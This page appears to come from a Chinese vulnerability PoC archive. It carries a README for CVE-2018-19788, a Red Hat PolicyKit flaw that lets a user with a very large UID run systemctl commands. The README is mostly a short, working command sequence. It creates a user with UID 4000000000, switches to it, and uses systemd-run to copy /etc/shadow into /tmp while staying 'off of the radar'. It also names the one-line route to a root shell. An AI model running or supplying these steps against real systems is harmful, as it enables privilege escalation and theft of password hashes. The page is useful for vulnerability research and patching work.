目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CVE-2018-19788 PoC — Red Hat PolicyKit 输入验证错误漏洞

来源
关联漏洞
标题: Red Hat PolicyKit 输入验证错误漏洞 (CVE-2018-19788)
Description:Red Hat PolicyKit(Polkit)是美国红帽(Red Hat)公司的一个用于在Unix兼容系统中对应用程序进行权限控制的工具。该工具为现代桌面提供了一个中央框架用于授权一般应用程序进行特权工作。 Red Hat PolicyKit 0.115版本中存在安全漏洞。攻击者可利用该漏洞执行任意的systemctl命令。
Description
Leveraging CVE-2018-19788 without root shells
介绍
# Leveraging CVE-2018-19788 to dump protected files without root shell

[CVE-2018-19788](https://gitlab.freedesktop.org/polkit/polkit/issues/74) is an issue where any user with a UID over INT_MAX (IE 4000000000) can run any systemctl command on a systemd linux box, such as Ubuntu. (There is already a writeup to gain a root shell found: [here](http://manivelsysad.blogspot.com/2018/12/low-privileged-user-with-uid-greater.html)). The main difference between this writeup and the full root shell writeup is that this will be run as the user itself instead of a root user (basically just a PoC to be honest)

# Getting /etc/shadow without executing a root shell

To get a root shell it's as simple as running `systemd-run -t /bin/bash` but if you want to keep off of the radar you can run simple commands to get privileged files without a terminal. Follow these steps to do it:

 - Add a user with a UID above INT_MAX:
   ```bash
   adduser --uid 4000000000 someusername
   ```
 - Switch into the user account:
   ```bash
   su someusername
   ```
 - Run the command for whatever file you would like (we'll use /etc/shadow for this):
   ```bash
   systemd-run bash -c 'cat /etc/shadow > /tmp/results_poc.txt'
   ```
 - Your file is now in `/tmp`:
   ```bash
   cat /tmp/results_poc.txt
   ```

# PoC video

[![to_video](https://user-images.githubusercontent.com/14183473/50110172-3476cd00-01ff-11e9-883c-1a9fb3e0361e.png)](https://vimeo.com/306879983)
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →